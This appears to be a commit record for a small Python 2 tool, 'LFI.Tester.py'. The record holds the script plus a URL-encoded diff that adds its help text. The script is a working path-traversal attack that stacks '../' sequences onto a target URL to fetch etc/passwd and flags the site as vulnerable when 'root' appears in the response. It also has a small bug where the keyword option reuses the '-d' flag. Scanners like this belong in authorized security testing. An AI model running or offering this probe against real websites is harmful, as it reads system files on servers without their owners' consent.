import sys
import urllib2
import getopt
import time

target = ''
depth = 6
file = 'etc/passwd'

html = ''
prefix = ''
url = ''
keyword='root'

def usage():
		print "usage function"


try:
		opts,args = getopt.getopt(sys.argv[1:],"ht:d:f:k:",["help","target=","depth=","file=","keyword="])
		for opt, arg in opts:
			if opt in("-h","--help"):
				usage()
				sys.exit()
			if opt in("-t","--target"):
				target = arg
				if not target.startswith('http://', 0, 7): 
						target = 'http://' + target
			if opt in("-d","--depth"):
				depth = int(arg)
			if opt in("-f","--file"):
				file = arg
				if file.startswith('/',0,1):
					file =file[1:]	
			if opt in("-d","--keyword"):
				keyword = arg

except getopt.GetoptError:
		usage()
		sys.exit(2)


for i in range(0,depth):
		prefix += '../'
		url = target + prefix + file
		print "Testing: ",url
		try:
				response = urllib2.urlopen(url)
				html = response.read()
		except:
				pass
		if(keyword in html):
				print url, " is Vulnerable"
				break
		else:
				time.sleep(2)
				continue

@@ -162,30 +162,360 @@
 nt %22
-usage function%22%0A%0A%0Atry:
+LFI.Tester.py Help:%22%0A%09%09print %22Usage: LFI.TESTER.py -t %5B-d%5D %5B-f%5D %5B-k%5D%22%0A%09%09print %22%09-t,--target The test url%22%0A%09%09print %22%09-d,--depth %09The depth for test (Default is 6)%22%0A%09%09print %22%09-f,--file The File include  (Default is etc/passwd)%22%0A%09%09print %22%09-k,--keyword%09the keyword for vuln check (Default is root)%22%0A%0A%0Atry:%0A%09%09if len(sys.argv) %3C 2:%0A%09%09%09%09usage()%0A%09%09%09%09sys.exit()
 %0A%09%09o

Define the Usage function